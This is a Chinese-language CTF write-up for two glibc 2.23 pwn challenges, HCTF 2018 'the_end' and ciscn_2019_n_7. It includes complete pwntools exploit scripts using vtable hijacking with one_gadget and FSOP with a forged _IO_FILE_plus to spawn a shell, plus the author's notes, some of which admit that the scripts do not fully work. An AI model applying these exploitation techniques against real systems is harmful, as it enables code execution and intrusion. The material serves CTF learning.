HCTF 2018the_end

版本

glibc2.23

思路

1.虚表劫持

2.虚表函数指针修改(改为one_gadget)

需要选对glibc,否则onegaget打不通…..下面py的libc是错的,但是调试的时候可以观察到会执行onegadget

3.exec /bin/sh 1>&0标准输出重定向

py

from pwn import *
io = process("./the_end")
context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
io.recvuntil(b'0x')
add = int(io.recvuntil(b",")[:-1],16)
io.recv()
oldvatable =add+3108576
vtableadd0 =3116784+8+add
vtable = oldvatable + 2272
gadget1=add-550310
gadget2=add+147956
gadget3=add+151703
for i in range(2):
io.send(p64(vtableadd0+i))
io.send(p64(vtable)[i:i+1])
#gdb.attach(io)
#pause()
for i in range(3):
io.send(p64(vtable+0x58+i))
io.send(p64(gadget2)[i:i+1])

io.interactive()
#gdb.attach(io)
pause()

关于本题利用方法的一些复盘

目前io利用方面处于小白的阶段,主要是因为io的实现过于复杂,一堆宏定义反复横跳,并且一些用户函数在处理完很多东西都会跳到io,但是那些用户函数的实现却不仅仅涉及io,因此想要完全分析明白几乎不可能。本题就是在考察exit的执行流,经过无数层函数调用,也会处理到IO。可以在下图的函数调用栈看出:

vtablecheck.png

此函数会遍历_IO_list_all链表之后调用虚表中的_setbuf函数 ,因此只要覆盖虚表中的函数指针,即可执行想要的函数。但是关于file虚表劫持这件事在libc2.23以后已经成为了过去式,其会判断虚表指针是否在指定范围之内。可看如下代码,并且虚表所处的位置是可读数据段也就是说不可修改,因此此方法基本行不通了,但是有很大的学习意义。

/* Perform vtable pointer validation.  If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

ciscn_2019_n_7

版本

glibc2.23

思路

1.利用FSOP,通过更改_IO_list_all结构体,来改变进行文件流操作时的函数调用。

2.伪造_IO_FILE_plus使其一些成员满足一些特定条件来调用假的虚表中的函数。

py

from pwn import *
io = remote("node5.buuoj.cn",29483)
from LibcSearcher import *

context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
io.sendafter("1.add page\n2.edit page\n3.show page\n4.exit\nYour choice-> \n",b'666')
puts = int(io.recvuntil("\n").strip(),16)
obj = LibcSearcher("puts", puts)
base = puts - obj.dump("puts")
print(hex(base))
print(hex(puts))
def add(size,name):
io.sendafter("1.add page\n2.edit page\n3.show page\n4.exit\nYour choice-> \n", b'1')
io.sendafter("Input string Length: \n",size)
io.sendafter("Author name:\n",name)
def edit(name,con):
io.sendafter("1.add page\n2.edit page\n3.show page\n4.exit\nYour choice-> \n", b'2')
io.sendafter("New Author name:\n",name)
io.sendafter("New contents:\n",con)
def exit():
io.sendafter("1.add page\n2.edit page\n3.show page\n4.exit\nYour choice-> \n", b'4')
_IO_2_1_stderr_=base+0x3c4540
vtableadd =_IO_2_1_stderr_+216
bss = base+0x3c3000+0x2000
bssbuf = base+0x3c3000+0x2200
sys = base + obj.dump('system')
add(b'152',8*b'a')
edit(8*b'a'+p64(vtableadd),p64(bss))
sleep(5)
edit(b'aaaaaaaa'+p64(bss),12*p64(sys))
sleep(5)
payload = b'/bin/sh\x00'+4*p64(0x0)+p64(0x1)+p64(0x2)+2*p64(0x0)
edit(b'aaaaaaaa'+p64(_IO_2_1_stderr_),payload)
#gdb.attach(io)
#pause()

io.sendafter("1.add page\n2.edit page\n3.show page\n4.exit\nYour choice-> \n", b'hh')
#pause()
io.interactive()

疑难

本题有诸多待解决的问题,利用exit()无法打通,感觉是因为在exit选项的时候标准输入和标准输出已关闭,但是感觉也可以通过重定向到stderr来解决,需要对文件流的函数执行流程有足够的理解才能完成此构造,未来有机会解决此问题。